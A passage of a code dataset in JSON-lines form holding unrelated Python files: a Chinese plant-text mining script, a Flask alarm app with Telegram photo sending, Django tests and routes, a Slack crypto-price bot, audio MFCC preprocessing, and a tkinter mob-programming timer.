Lyq = tempAwye\n yeye = []\n for aw in Lyq:\n aw = str(aw).replace(str(frequant)+\"\\n\",str(frequant * 200)+\"\\n\")\n yeye.append(aw)\n AllDirLyqWords = tempAwgjLyq + tempAwguoLyq + tempAwhuaLyq + yeye\n elif(a==\"gj\"):\n Lyq = tempAwgj\n gigi = []\n for aw in Lyq:\n aw = str(aw).replace(str(frequant)+\"\\n\", str(frequant * 200)+\"\\n\")\n gigi.append(aw)\n AllDirLyqWords = gigi + tempAwguoLyq + tempAwhuaLyq + tempAwyeLyq\n elif(a==\"hua\"):\n Lyq = tempAwhua\n huahua = []\n for aw in Lyq:\n aw = str(aw).replace(str(frequant), str(frequant * 200))\n huahua.append(aw)\n AllDirLyqWords = tempAwgjLyq + tempAwguoLyq + huahua + tempAwyeLyq\n elif(a==\"guo\"):\n Lyq = tempAwguo\n guoguo = []\n for aw in Lyq:\n aw = str(aw).replace(str(frequant)+\"\\n\", str(frequant * 200)+\"\\n\")\n guoguo.append(aw)\n AllDirLyqWords = tempAwgjLyq + guoguo + tempAwhuaLyq + tempAwyeLyq\n with open(\"G:\\lyqcomputer\\树木分析\\directory\\\\all.txt\", 'w',encoding='UTF-8') as f:\n f.writelines(list(set(AllDirLyqWords)))\n\n\n# 针对性修改\n# 1.识别形如3-5的数字\ndef betterMathWord(a):\n pattern = re.compile(\"[0-9]+/-/[0-9]+/\")\n results = pattern.findall(a)\n for rl in results:\n a = a.replace(rl, rl.replace(\"/\", \"\"))\n return a\n\ndef findBigger(a={}):\n segment=[]\n big = 0.0\n for key in a:\n if a[key] > big:\n big = a[key]\n if big>0.0:\n for key in a:\n if a[key] >= 0.8*big:\n segment.append(key)\n return segment\n\ndef analyseScentense(a = \"\"):\n sc = a\n pye = 0.0\n pgj = 0.0\n phua = 0.0\n pguo = 0.0\n scwordsWeight = {}\n scwords = betterMathWord(\"/\".join(jieba.cut(sc, HMM=True))).split(\"/\")\n removeWords = []\n for scw in scwords:\n if scw not in allWordsList:\n removeWords.append(scw)\n for rw in removeWords:\n scwords.remove(rw)\n for scw2 in scwords:\n if scw2 in scwordsWeight:\n scwordsWeight[scw2] = scwordsWeight[scw2] + 1.0\n else:\n scwordsWeight[scw2] = 1.0\n for scw3 in scwordsWeight:\n if (allWordsWeight['ye'][allWordsList.index(scw3)] != 0):\n if (pye == 0.0):\n # print(scw3)\n pye = allWordsWeight['ye'][allWordsList.index(scw3)] * scwordsWeight[scw3]\n else:\n # print(scw3)\n pye = allWordsWeight['ye'][allWordsList.index(scw3)] * scwordsWeight[scw3] + pye\n if (allWordsWeight['gj'][allWordsList.index(scw3)] != 0):\n if (pgj == 0.0):\n # print(scw3)\n pgj = allWordsWeight['gj'][allWordsList.index(scw3)] * scwordsWeight[scw3]\n else:\n # print(scw3)\n pgj = allWordsWeight['gj'][allWordsList.index(scw3)] * scwordsWeight[scw3] + pgj\n if (allWordsWeight['hua'][allWordsList.index(scw3)] != 0):\n if (phua == 0.0):\n # print(scw3)\n phua = allWordsWeight['hua'][allWordsList.index(scw3)] * scwordsWeight[scw3]\n else:\n # print(scw3)\n phua = allWordsWeight['hua'][allWordsList.index(scw3)] * scwordsWeight[scw3] + phua\n if (allWordsWeight['guo'][allWordsList.index(scw3)] != 0):\n if (pguo == 0.0):\n # print(scw3)\n pguo = allWordsWeight['guo'][allWordsList.index(scw3)] * scwordsWeight[scw3]\n else:\n # print(scw3)\n pguo = allWordsWeight['guo'][allWordsList.index(scw3)] * scwordsWeight[scw3] + pguo\n pye = pye\n pgj = pgj\n phua = phua\n pguo = pguo\n \"\"\"\n print(sc)\n print(\"pgj=\"+str(pgj))\n print(\"pye=\" + str(pye))\n print(\"phua=\" + str(phua))\n print(\"pguo=\" + str(pguo))\n \"\"\"\n # print(sc)\n divideKeyList = findBigger({\"ye\": pye, \"gj\": pgj, \"hua\": phua, \"guo\": pguo})\n return divideKeyList\n\n\ncsvDir = []\n\npath = \"G:\\lyqcomputer\\树木分析\\zhiwuzhi\"\n\ncount = 0\nfor filename in os.listdir(path):\n filepath = path + \"\\\\\" + filename\n dirList = findArea.findArea(filepath)\n # 分词\n for d in dirList:\n yesegment = []\n gjsegment = []\n guosegment = []\n huasegment = []\n for key in d:\n if (key == \"describe\"):\n Str = d[key]\n strList = Str.split(\"。\")\n # 每句话用判定词典\n jieba.load_userdict(\"G:\\lyqcomputer\\树木分析\\devidingDir\\\\allDivDir.txt\")\n for sc in strList:\n divideKeyList = analyseScentense(sc)\n for dk in divideKeyList:\n if dk == \"ye\":\n changeAllDirFran(\"ye\")\n jieba.load_userdict(\"G:\\lyqcomputer\\树木分析\\directory\\\\all.txt\")\n zxq = \"/\".join(jieba.cut(sc, HMM=True))\n print(zxq)\n rel = betterMathWord(zxq).split(\"/\")\n for reli in rel:\n if reli not in tywords and reli in Ayewords:\n yesegment.append(reli)\n if dk == \"gj\":\n changeAllDirFran(\"gj\")\n jieba.load_userdict(\"G:\\lyqcomputer\\树木分析\\directory\\\\all.txt\")\n zxq = \"/\".join(jieba.cut(sc, HMM=True))\n print(zxq)\n rel = betterMathWord(zxq).split(\"/\")\n for reli in rel:\n if reli not in tywords:\n if reli in Agjwords:\n gjsegment.append(reli)\n if dk == \"hua\":\n changeAllDirFran(\"hua\")\n jieba.load_userdict(\"G:\\lyqcomputer\\树木分析\\directory\\\\all.txt\")\n zxq = \"/\".join(jieba.cut(sc, HMM=True))\n print(zxq)\n rel = betterMathWord(zxq).split(\"/\")\n for reli in rel:\n if reli not in tywords and reli in Ahuawords:\n huasegment.append(reli)\n if dk == \"guo\":\n changeAllDirFran(\"guo\")\n jieba.load_userdict(\"G:\\lyqcomputer\\树木分析\\directory\\\\all.txt\")\n zxq = \"/\".join(jieba.cut(sc, HMM=True))\n print(zxq)\n rel = betterMathWord(zxq).split(\"/\")\n for reli in rel:\n if reli not in tywords and reli in Aguowords:\n guosegment.append(reli)\n\n yesegment = list(set(yesegment))\n gjsegment = list(set(gjsegment))\n huasegment = list(set(huasegment))\n guosegment = list(set(guosegment))\n\n elif (key == \"location\"):\n print(\"\")\n else:\n print(\"\")\n csvtempD = {\"name\": d['name'], \"叶\": str(yesegment), \"根茎\": str(gjsegment), \"花\": str(huasegment), \"果\": str(guosegment)}\n csvDir.append(csvtempD)\n yesegment.clear()\n gjsegment.clear()\n huasegment.clear()\n guosegment.clear()\n dirList.clear()\n count = count + 1\n if count >=100:\n dfSg = pd.DataFrame(csvDir)\n dfSg.to_csv(\"G:\\lyqcomputer\\树木分析\\文本挖掘\\\\A.csv\", encoding='utf-8')\n break","sub_path":"NLP/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":11322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"84579586","text":"def solution(x):\r\n word_list = list(x)\r\n next = ''\r\n result = []\r\n for w in word_list:\r\n if w != next:\r\n result.append(w)\r\n next = w\r\n return ''.join(result)\r\n\r\nword = input()\r\nprint(solution(word))","sub_path":"algorithm/week1_Q2.py","file_name":"week1_Q2.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"293641195","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/object_detection/models/faster_rcnn_inception_resnet_v2_feature_extractor_test.py\n# Compiled at: 2018-06-15 01:39:54\n# Size of source mod 2**32: 4535 bytes\n\"\"\"Tests for models.faster_rcnn_inception_resnet_v2_feature_extractor.\"\"\"\nimport tensorflow as tf\nfrom object_detection.models import faster_rcnn_inception_resnet_v2_feature_extractor as frcnn_inc_res\n\nclass FasterRcnnInceptionResnetV2FeatureExtractorTest(tf.test.TestCase):\n\n def _build_feature_extractor(self, first_stage_features_stride):\n return frcnn_inc_res.FasterRCNNInceptionResnetV2FeatureExtractor(is_training=False, first_stage_features_stride=first_stage_features_stride, reuse_weights=None, weight_decay=0.0)\n\n def test_extract_proposal_features_returns_expected_size(self):\n feature_extractor = self._build_feature_extractor(first_stage_features_stride=16)\n preprocessed_inputs = tf.random_uniform([\n 1, 299, 299, 3], maxval=255, dtype=tf.float32)\n rpn_feature_map = feature_extractor.extract_proposal_features(preprocessed_inputs, scope='TestScope')\n features_shape = tf.shape(rpn_feature_map)\n init_op = tf.global_variables_initializer()\n with self.test_session() as (sess):\n sess.run(init_op)\n features_shape_out = sess.run(features_shape)\n self.assertAllEqual(features_shape_out, [1, 19, 19, 1088])\n\n def test_extract_proposal_features_stride_eight(self):\n feature_extractor = self._build_feature_extractor(first_stage_features_stride=8)\n preprocessed_inputs = tf.random_uniform([\n 1, 224, 224, 3], maxval=255, dtype=tf.float32)\n rpn_feature_map = feature_extractor.extract_proposal_features(preprocessed_inputs, scope='TestScope')\n features_shape = tf.shape(rpn_feature_map)\n init_op = tf.global_variables_initializer()\n with self.test_session() as (sess):\n sess.run(init_op)\n features_shape_out = sess.run(features_shape)\n self.assertAllEqual(features_shape_out, [1, 28, 28, 1088])\n\n def test_extract_proposal_features_half_size_input(self):\n feature_extractor = self._build_feature_extractor(first_stage_features_stride=16)\n preprocessed_inputs = tf.random_uniform([\n 1, 112, 112, 3], maxval=255, dtype=tf.float32)\n rpn_feature_map = feature_extractor.extract_proposal_features(preprocessed_inputs, scope='TestScope')\n features_shape = tf.shape(rpn_feature_map)\n init_op = tf.global_variables_initializer()\n with self.test_session() as (sess):\n sess.run(init_op)\n features_shape_out = sess.run(features_shape)\n self.assertAllEqual(features_shape_out, [1, 7, 7, 1088])\n\n def test_extract_proposal_features_dies_on_invalid_stride(self):\n with self.assertRaises(ValueError):\n self._build_feature_extractor(first_stage_features_stride=99)\n\n def test_extract_proposal_features_dies_with_incorrect_rank_inputs(self):\n feature_extractor = self._build_feature_extractor(first_stage_features_stride=16)\n preprocessed_inputs = tf.random_uniform([\n 224, 224, 3], maxval=255, dtype=tf.float32)\n with self.assertRaises(ValueError):\n feature_extractor.extract_proposal_features(preprocessed_inputs, scope='TestScope')\n\n def test_extract_box_classifier_features_returns_expected_size(self):\n feature_extractor = self._build_feature_extractor(first_stage_features_stride=16)\n proposal_feature_maps = tf.random_uniform([\n 2, 17, 17, 1088], maxval=255, dtype=tf.float32)\n proposal_classifier_features = feature_extractor.extract_box_classifier_features(proposal_feature_maps, scope='TestScope')\n features_shape = tf.shape(proposal_classifier_features)\n init_op = tf.global_variables_initializer()\n with self.test_session() as (sess):\n sess.run(init_op)\n features_shape_out = sess.run(features_shape)\n self.assertAllEqual(features_shape_out, [2, 8, 8, 1536])\n\n\nif __name__ == '__main__':\n tf.test.main()","sub_path":"pycfiles/vcv-3.0.0.1-py3.4/faster_rcnn_inception_resnet_v2_feature_extractor_test.cpython-34.py","file_name":"faster_rcnn_inception_resnet_v2_feature_extractor_test.cpython-34.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"98462487","text":"import os\nfrom flask import Flask, request, send_from_directory\nfrom pygame import mixer\nfrom acore import Alarm\nimport cv2\nimport requests\nimport telegram\n\napp = Flask(__name__, static_folder='public')\nalarmcore = None\nmytime = \"\"\n\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef serve(path):\n if path != \"\" and os.path.exists(\"./public/\" + path):\n return send_from_directory('./public/', path)\n else:\n return send_from_directory('./public/', 'index.html')\n\n\n@app.route('/time', methods=['POST'])\ndef time():\n global alarmcore, mytime\n my_var = (request.data).decode(\"utf-8\")\n hour, min = my_var.split(\":\")\n mytime = hour + min\n alarmcore = Alarm(hour, min, gg)\n alarmcore.start()\n return ''\n\n\n@app.route('/get_alarm_time', methods=['GET', 'POST'])\ndef get_alarm_time():\n global mytime\n if mytime is None:\n return \"0830\"\n else:\n return mytime\n\n\n@app.route('/alarm', methods=['GET', 'POST'])\ndef alarm():\n if alarmcore is not None:\n alarmcore.play()\n else:\n return \"not set\"\n return \"ringing\"\n\n\n@app.route('/stop', methods=['GET', 'POST'])\ndef stop():\n if alarmcore is not None:\n alarmcore.end()\n else:\n return \"not set\"\n return \"ok\"\n\n\nbot = telegram.Bot(token=\"TELEGRAMTOKEN\")\n\n\n@app.route('/gg', methods=['GET', 'POST'])\ndef gg():\n cap = cv2.VideoCapture(0)\n if not cap.isOpened():\n return \"Cam error\"\n ret, frame = cap.read()\n if ret:\n cv2.imwrite('01.jpg', frame)\n bot.send_photo(chat_id=\"telegram chart id\", photo=open(\"01.jpg\", 'rb'));\n cap.release()\n cv2.destroyAllWindows()\n return \"GG\"\n\n\nif __name__ == '__main__':\n app.run(use_reloader=True, port=3000, threaded=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"333187056","text":"from django.test import TestCase, RequestFactory\nfrom .views import *\n\n\nclass IntegrationTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_index(self):\n request = self.factory.get('/')\n response = index(request)\n self.assertEqual(response.status_code, 200)\n\n def test_create(self):\n request = self.factory.get('/create/')\n params = dict(name=\"TestName\", price=42, description=\"Testing description\")\n request.body = json.dumps(params)\n\n response = create(request)\n self.assertEqual(response.status_code, 200)\n\n def test_read(self):\n request = self.factory.get('/read/id/1')\n response = read(request)\n self.assertEqual(response.status_code, 200)\n\n def test_update_name(self):\n request = self.factory.get('/update/id/1/name/')\n params = dict(name=\"NameIsChanged\")\n request.body = json.dumps(params)\n\n response = update_name(request, 1)\n self.assertEqual(response.status_code, 200)\n\n def test_update_price(self):\n request = self.factory.get('/update/id/1/price/')\n params = dict(price=3333)\n request.body = json.dumps(params)\n\n response = update_price(request, 1)\n self.assertEqual(response.status_code, 200)\n\n def test_update_description(self):\n request = self.factory.get('/update/id/1/description/')\n params = dict(description=\"Description is changed\")\n request.body = json.dumps(params)\n\n response = update_description(request, 1)\n self.assertEqual(response.status_code, 200)\n\n def test_update_all(self):\n request = self.factory.get('/update/id/1/all/')\n params = dict(name=\"TestTestTestName\", price=33332, description=\"Testing description super fancy\")\n request.body = json.dumps(params)\n\n response = update_all(request, 1)\n self.assertEqual(response.status_code, 200)\n\n def test_delete(self):\n request = self.factory.get('/delete/id/1')\n\n response = delete(request, 1)\n self.assertEqual(response.status_code, 200)\n\n def test_list(self):\n request = self.factory.get('/list')\n response = list_products(request)\n self.assertEqual(response.status_code, 200)\n\n def test_search(self):\n request = self.factory.get('/search/name/')\n params = dict(name=\"Te\")\n request.body = json.dumps(params)\n\n response = search_name(request)\n self.assertEqual(response.status_code, 200)\n","sub_path":"challenge/backend/noodle/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"351708032","text":"import os\nimport time\nimport requests\nimport datetime\nfrom slackclient import SlackClient\n\nBOT_ID = os.environ.get(\"BOT_ID\")\nMASTER_ID = os.environ.get(\"MASTER_ID\")\n\n# constants\nAT_BOT = \"<@\" + BOT_ID + \">\"\nEXAMPLE_COMMAND = \"do\"\nCALL_COMMAND = \"call\"\n\nslack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN'))\nreportSent = 0\n\n\ndef get_all_fields(message, res):\n message = message + '*' + unicode(res['name']) + '*' + \"\\n\" + '>*Price in USD:* ' + \\\n unicode(res['price_usd']) + \"\\n\" + \\\n '>*Price in BTC:* ' + unicode(res['price_btc']) + \"\\n\" + \\\n '>*24 volume USD:* ' + unicode(res['24h_volume_usd']) + \"\\n\" + \\\n '>*Market cap USD:* ' + unicode(res['market_cap_usd']) + \"\\n\" + \\\n '>*Available supply:* ' + unicode(res['available_supply']) + \"\\n\" + \\\n '>*Total supply:* ' + unicode(res['total_supply']) + \"\\n\" + \\\n '>*Percent change for 24h:* ' + unicode(res['percent_change_24h']) + \"\\n\" + \\\n '>*Percent change for 7d:* ' + unicode(res['percent_change_7d']) + \"\\n\" + \\\n '>*Percentage change for 1h:* ' + \\\n unicode(res['percent_change_1h']) + \"\\n\" + '>*Last updated:* ' + \\\n datetime.datetime.fromtimestamp(float(res['last_updated'])).__str__() + \"\\n\"\n\n return message\n\n\ndef get_extended_fields(message, res, curr):\n message = get_all_fields(message, res)\n\n try:\n message = message + \\\n '>*Price in ' + curr + ':* ' + unicode(res['price_' + curr]) + \"\\n\" + \\\n '>*24 volume ' + curr + ':* ' + unicode(res['24h_volume_' + curr]) + \"\\n\" + \\\n '>*Market cap ' + curr + ':* ' + unicode(res['market_cap_' + curr]) + \"\\n\"\n except KeyError:\n message = \"You gave me wrong currency!\"\n \n return message\n\n\ndef send_coins_raport(channel, user):\n response = requests.get(\"https://api.coinmarketcap.com/v1/ticker/?limit=10\").json()\n message = \"\\n\"\n for res in response:\n message = get_all_fields(message, res)\n\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=\"<@\" + user + \">\" + \" *REPORT ABOUT TOP 10 CRYPTO CURRENCIES:*\" + message,\n as_user=True)\n\n\ndef check_hourly_change():\n response = requests.get(\"https://api.coinmarketcap.com/v1/ticker\").json()\n message = \"*TOP 5 CURRENCIES THAT EXCEEDED 10% CHANGE DURING LAST 1 HOUR:*\\n\"\n present = 0\n for res in response:\n if ('None' not in unicode(res['percent_change_1h'])) and (\n float(res['percent_change_1h']) > 10 or float(res['percent_change_1h']) < -10):\n present += 1\n message = get_all_fields(message, res)\n if present == 5:\n break\n\n if present != 0:\n slack_client.api_call(\"chat.postMessage\", channel=\"#general\",\n text=\"\" + message, as_user=True)\n\n\ndef handle_command(command, channel, output):\n \"\"\"\n Receives commands directed at the bot and determines if they\n are valid commands. If so, then acts on the commands. If not,\n returns back what it needs for clarification.\n \"\"\"\n flag = 0\n response = \"Not sure what you mean. Use *help* command to see more\"\n\n if output['user'] == MASTER_ID:\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=\"Yes, master\", as_user=True)\n slack_client.api_call(\n \"reactions.add\",\n channel=channel,\n name=\"heart\",\n timestamp=output['ts']\n )\n\n if 'help' in command:\n flag = 1\n message = \"*HERE IS THE LIST OF COMMANDS THAT YOU CAN USE:* \\n\" + \\\n \"*all_coins:*\" + \"\\n\" + \">prints report about top 10 currencies\" + \"\\n\" + \\\n \"*convert [currency]:*\" + \"\\n\" + \">return price, 24h volume, and market cap in terms of another currency for top 10 crypto\" + \"\\n\" + \\\n \"*coin [crypto] [(optional)currency]:*\" + \"\\n\" \">return info about single crypto currency (by default in USD)\"\n\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=message, as_user=True)\n\n elif 'all_coins' in command:\n flag = 1\n send_coins_raport(channel, output['user'])\n\n elif 'convert' in command:\n flag = 1\n currency = command.split('convert ', 1)[1]\n url = \"https://api.coinmarketcap.com/v1/ticker/?convert=\" + currency + \"&limit=10\"\n response = requests.get(url).json()\n\n if currency not in unicode(response[0]):\n slack_client.api_call(\n \"reactions.add\",\n channel=channel,\n name=\"red_circle\",\n timestamp=output['ts']\n )\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=\"<@\" + output['user'] + \">\" + \" You gave me wrong currency\", as_user=True)\n else:\n message = \"\\n\"\n for res in response:\n message = get_all_fields(message, res)\n\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=\"<@\" + output['user'] + \">\" + message, as_user=True)\n elif 'coin' in command:\n print(output)\n flag = 1\n currency = command.split(' ')\n message = \"\\n\"\n if len(currency) == 2:\n url = \"https://api.coinmarketcap.com/v1/ticker/\" + currency[1]\n response = requests.get(url)\n if response.status_code == 200:\n message = get_all_fields(message, response.json()[0])\n else:\n message = \"You gave me wrong currency! I don't understand \" + currency[1]\n else:\n url = \"https://api.coinmarketcap.com/v1/ticker/\" + currency[1] + \"/?convert=\" + currency[2]\n response = requests.get(url)\n if response.status_code == 200:\n message = get_extended_fields(message, response.json()[0], currency[2])\n else:\n message = \"You gave me wrong currency!\"\n\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=\"<@\" + output['user'] + \">\" + message, as_user=True)\n\n if flag == 0:\n slack_client.api_call(\"chat.postMessage\", channel=channel,\n text=response, as_user=True)\n\n\ndef parse_slack_output(slack_rtm_output):\n \"\"\"\n The Slack Real Time Messaging API is an events firehose.\n this parsing function returns None unless a message is\n directed at the Bot, based on its ID.\n \"\"\"\n output_list = slack_rtm_output\n if output_list and len(output_list) > 0:\n for output in output_list:\n if output and 'text' in output and AT_BOT in output['text']:\n # return text after the @ mention, whitespace removed\n return output['text'].split(AT_BOT)[1].strip().lower(), \\\n output['channel'], slack_rtm_output[0]\n return None, None, None\n\n\nif __name__ == \"__main__\":\n READ_WEBSOCKET_DELAY = 1 # 1 second delay between reading from firehose\n if slack_client.rtm_connect():\n print(\"Botty connected and running!\")\n while True:\n command, channel, output = parse_slack_output(slack_client.rtm_read())\n if command and channel:\n handle_command(command, channel, output)\n time.sleep(READ_WEBSOCKET_DELAY)\n\n currDateTime = datetime.datetime.time(datetime.datetime.now())\n\n if currDateTime.minute == 0 and currDateTime.second == 0:\n check_hourly_change()\n else:\n print(\"Connection failed. Invalid Slack token or bot ID?\")\n","sub_path":"botty.py","file_name":"botty.py","file_ext":"py","file_size_in_byte":7803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"368936519","text":"\nfrom django.urls import path\nfrom django.urls.conf import include\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('skills/', views.skills, name='skills'),\n path('projects/', views.projects, name='projects'),\n path('education/', views.education, name='education'),\n path('achivements/', views.achivements, name='achivements'),\n]\n","sub_path":"portfolio/myinfo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125972134","text":"import json\n\n# Enter your keys/secrets as strings in the following fields\ncredentials = {}\ncredentials['CONSUMER_KEY'] = ''\ncredentials['CONSUMER_SECRET'] = ''\ncredentials['ACCESS_TOKEN'] = ''\ncredentials['ACCESS_SECRET'] = ''\n\n# Save the credentials object to file\nwith open(\"creds.json\", \"w\") as file:\n json.dump(credentials, file)\n","sub_path":"gencreds.py","file_name":"gencreds.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560074762","text":"# train_and_test_models.ipynb uses this. \n\nimport librosa\nimport os\nimport pathlib\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import to_categorical\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nfrom sklearn.preprocessing import LabelEncoder\n\n\n# Convert to feature.\ndef wav2feature(file_path, feature_type, feature_height=20, max_len_time=100):\n # print(file_path) # selected_utterances/split-1-fe_03_00004_A.wav\n # wave, sr = librosa.load(file_path, duration=5)\n wave, sr = librosa.load(file_path, sr=None, duration=5)\n assert sr == 8000\n # print(sr)\n # print(len(wave)) # 11200\n\n if feature_type == \"mfcc\":\n # mfcc\n feature = librosa.feature.mfcc(y=wave, sr=sr, n_mfcc=feature_height)\n else:\n # log_mel\n feature = librosa.feature.melspectrogram(y=wave, sr=sr, n_mels=feature_height)\n feature = librosa.power_to_db(feature)\n\n # print(feature.shape) # (25, 215) <= (frequency, time)\n\n # Padding (time axis)\n if max_len_time > feature.shape[1]:\n pad_width = max_len_time - feature.shape[1]\n feature = np.pad(feature, pad_width=((0, 0), (0, pad_width)), mode='constant')\n else:\n # Cut off the remaining parts.\n feature = feature[:, :max_len_time]\n\n # print(feature)\n # print(feature.shape)\n\n return feature\n\n\ndef save_features_and_get_labels(wav_path, labels_table_path, feature_type,\n save=True, feature_path=None,\n feature_height=20, max_len_time=100):\n feature_vectors = []\n labels = []\n print('feature_height:', feature_height)\n print('max_len_time:', max_len_time)\n\n # Create DataFrame for labels.\n utterances_labels = pd.read_csv(labels_table_path)\n # Label encoder\n le = LabelEncoder()\n utterances_labels['LABEL'] = le.fit_transform(utterances_labels['LABEL'])\n label_map = le.classes_\n\n print('Generating labels ...')\n if save:\n print('Generating {} ...'.format(feature_type))\n\n wav_dir = pathlib.Path(wav_path)\n count = 0\n for wav_file_path in wav_dir.glob('*.wav'):\n if save:\n # Convert wav to feature (mfcc/log_mel)\n feature = wav2feature(wav_file_path, feature_type, feature_height, max_len_time)\n feature_vectors.append(feature)\n\n label = utterances_labels[utterances_labels['FILENAME'] == wav_file_path.name]['LABEL'].values[0]\n labels.append(label)\n\n count += 1\n if count % 500 == 0:\n if save:\n print('wav to {}, {} done.'.format(feature_type, count))\n else:\n print('{} done.'.format(count))\n # if count == 10000:\n # break\n\n if save:\n np.save(feature_path, feature_vectors)\n\n return labels, label_map\n\n\ndef get_train_test(feature_path, labels, test_size=0.2, random_state=41):\n X = np.load(feature_path)\n # print(X.shape) # (10000, 25, 215)\n # print(labels) # [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n labels = np.array(labels).reshape(1, len(labels)).T\n\n return train_test_split(X, labels, test_size=test_size, random_state=random_state, shuffle=True)\n\n\n\n# WAV_PATH = \"./selected_utterances/\"\n# MFCC_PATH = \"mfcc/mfcc.npy\"\n# LABELS_TABLE_PATH = 'label_data/utter_top4.csv'\n# MAX_LEN_TIME = 75\n# N_MFCC = 20\n#\n# labels, label_map = save_mfcc_and_labels(WAV_PATH, LABELS_TABLE_PATH, MFCC_PATH, MAX_LEN_TIME, N_MFCC)\n#\n# X_train, X_test, y_train, y_test = get_train_test(MFCC_PATH, labels)\n# print(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\n#\n#\n# print('done.')\n# print('test')\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"tools/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"453537162","text":"import uuid\nfrom tkinter import *\n\nimport atexit\n\nfrom Infrastructure.CountdownManager import CountdownManager\nfrom Infrastructure.MobberManager import MobberManager\nfrom Infrastructure.SessionManager import SessionManager\nfrom Infrastructure.TimeOptionsManager import TimeOptionsManager\nfrom Frames.ScreenBlockerFrame import ScreenBlockerFrame\nfrom Frames.TransparentCountdownFrame import TransparentCountdownFrame\nfrom screeninfo import *\n\n\nclass MobTimerController(Tk):\n def __init__(self, *args, **kwargs):\n Tk.__init__(self, *args, **kwargs)\n\n # self.iconbitmap(default='C:\\\\Users\\\\Chris\\\\OneDrive\\\\Git\\\\Pycharm\\\\MobTimer\\\\time-bomb.ico')\n #TODO: iconbitmap needs to load the ico file as a string because of py2exe =/\n self.time_options_manager = TimeOptionsManager()\n self.mobber_manager = MobberManager()\n self.countdown_manager = CountdownManager(self)\n self.session_manager = SessionManager(uuid)\n atexit.register(self.session_manager.clear_sessions)\n if self.session_manager.get_active_sessions().__len__() > 0:\n self.quit_and_destroy_session()\n\n self.session_manager.create_session()\n\n self.countdown_manager.subscribe_to_time_changes(self.show_screen_blocker_when_session_interupted)\n\n monitors = get_monitors()\n num_monitors = monitors.__len__()\n self.containers = [self]\n for monitor_index in range(1, num_monitors):\n monitor_screen_blocker = Toplevel(self)\n self.containers.append(monitor_screen_blocker)\n self.frame_types = (ScreenBlockerFrame, TransparentCountdownFrame)\n self.frames = {}\n for frame_type in self.frame_types:\n self.frames[frame_type] = []\n for container in self.containers:\n container_frame = Frame(container)\n container_frame.grid(row=0, column=0, sticky=N + S + E + W)\n container_frame.grid_rowconfigure(0, weight=1)\n container_frame.grid_columnconfigure(0, weight=1)\n for frame_type in self.frame_types:\n frame_instance = frame_type(container_frame, self, self.time_options_manager, self.mobber_manager,\n self.countdown_manager)\n self.frames[frame_type].append(frame_instance)\n frame_instance.grid(row=0, column=0, sticky=\"nsew\")\n self.last_frame = None\n self.show_screen_blocker_frame()\n for frame_instance in self.frames[TransparentCountdownFrame]:\n frame_instance.bind(\"\", self.toggle_transparent_frame_position)\n self.transparent_frame_position = 0\n self.title(\"Mob Timer\")\n\n def quit_and_destroy_session(self):\n self.session_manager.clear_sessions()\n self.quit()\n sys.exit()\n\n def show_screen_blocker_when_session_interupted(self, days, minutes, seconds):\n if self.session_manager.get_active_sessions().__len__() == 0:\n self.show_screen_blocker_frame()\n self.session_manager.create_session()\n\n def show_frame(self, frame_class):\n switched_frames = False\n if self.last_frame != frame_class:\n for frame_instances in self.frames[frame_class]:\n frame_instances.tkraise()\n switched_frames = True\n self.last_frame = frame_class\n return switched_frames\n\n def show_screen_blocker_frame(self):\n if self.show_frame(ScreenBlockerFrame):\n self.mobber_manager.switch_navigator_driver()\n self.set_full_screen_always_on_top()\n\n def show_transparent_countdown_frame(self):\n if self.show_frame(TransparentCountdownFrame):\n self.set_partial_screen_transparent()\n\n def get_current_window_geometry(self):\n return \"{0}x{1}+0+0\".format(\n self.winfo_screenwidth(), self.winfo_screenheight())\n\n def disable_resizing(self):\n for container in self.containers:\n container.resizable(0, 0)\n\n def remove_title_bar(self):\n for container in self.containers:\n container.overrideredirect(1)\n\n def set_always_on_top(self):\n for container in self.containers:\n container.wm_attributes(\"-topmost\", 1)\n\n def set_full_screen_always_on_top(self):\n self.set_always_on_top()\n self.remove_title_bar()\n self.disable_resizing()\n top_left_screen = \"+0+0\"\n monitors = get_monitors()\n\n for container, monitor in zip(self.containers, monitors):\n monitor_string = \"{}x{}+{}+{}\".format(monitor.width, monitor.height, monitor.x, 